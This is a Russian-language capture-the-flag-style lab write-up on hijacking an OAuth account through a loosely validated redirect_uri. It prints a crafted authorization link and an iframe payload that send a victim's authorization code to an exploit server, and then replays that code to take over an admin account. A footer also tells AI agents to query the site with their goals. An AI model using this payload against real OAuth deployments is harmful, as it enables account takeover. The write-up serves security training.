> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).

# Угон учётной записи OAuth через redirect\_uri

### Угон учетной записи OAuth через Redirect/\_uri

**Цель лабораторной работы**

Этот лабораторный стенд демонстрирует, как неверная настройка `redirect_uri` параметра в потоке OAuth позволяет атакующему украсть **коды авторизации** связанные с учетной записью другого пользователя.

**Но в итоге:**

* Перехватить OAuth-код авторизации, принадлежащий пользователю **admin**
* Использовать этот код для доступа к его учетной записи
* Удалить пользователя **carlos**

**Контекст и условия**

* Сайт позволяет аутентификацию через OAuth-провайдера (социальную сеть).
* Пользователь **admin**:
* Открывает любую ссылку с сервера эксплойта.
* Уже имеет активную сессию у OAuth-провайдера.
* Предоставленные ID:
* Аккаунт атакующего в соцсети: `wiener:peter`

<figure><img src="/files/89b216b5362c8039759a9b2ea3215e79f7e9c7df" alt=""><figcaption></figcaption></figure>

**Анализ потока OAuth**

Когда пользователь подключается через OAuth, приложение отправляет запрос, похожий на:

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

Ключевой момент в том, что **OAuth-провайдер не требует строгой проверки `redirect_uri`**.

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

**Проверка уязвимости**

Изменение `redirect_uri` параметра на произвольный домен, например:

```bash
redirect_uri=https://test.com/oauth-callback
```

<figure><img src="/files/6f05496c5c962880c989cbb3f9bb06ddd1aa3acb" alt=""><figcaption></figcaption></figure>

наблюдается следующее поведение:

* OAuth-провайдер корректно перенаправляет на этот адрес
* **OAuth** код авторизации включается в URL перенаправления

Это подтверждает, что `redirect_uri` поддается эксплуатации.

**Эксплуатация**

Цель теперь — заставить администратора инициировать OAuth-аутентификацию, перенаправление которой указывает на \*\*сервер эксплойта\*\* атакующего.

Используемая вредоносная OAuth-ссылка:

{% code overflow="wrap" %}

```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```

{% endcode %}

Эта ссылка встраивается в страницу сервера эксплойта с помощью iframe:

{% code overflow="wrap" %}

```javascript
<iframe src="https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
```

{% endcode %}

**Получение кода авторизации**

Когда администратор открывает страницу:

* OAuth-поток запускается автоматически
* OAuth-провайдер перенаправляет на сервер эксплойта
* \*\*журналы сервера эксплойта\*\* содержат несколько OAuth-кодов

У **последний полученный код** используется, например:

```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```

<figure><img src="/files/d7693587300fbf1da67b344de1289c719469b99c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f00c36402271a5d07b40abae950ff3adedfa714e" alt=""><figcaption></figcaption></figure>

**Результат**

* Код авторизации действителен
* Получен доступ к \*\*аккаунту администратора\*\*

<figure><img src="/files/0de7e54e99cf18fbcc2fdca29ba062a0d7e19334" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
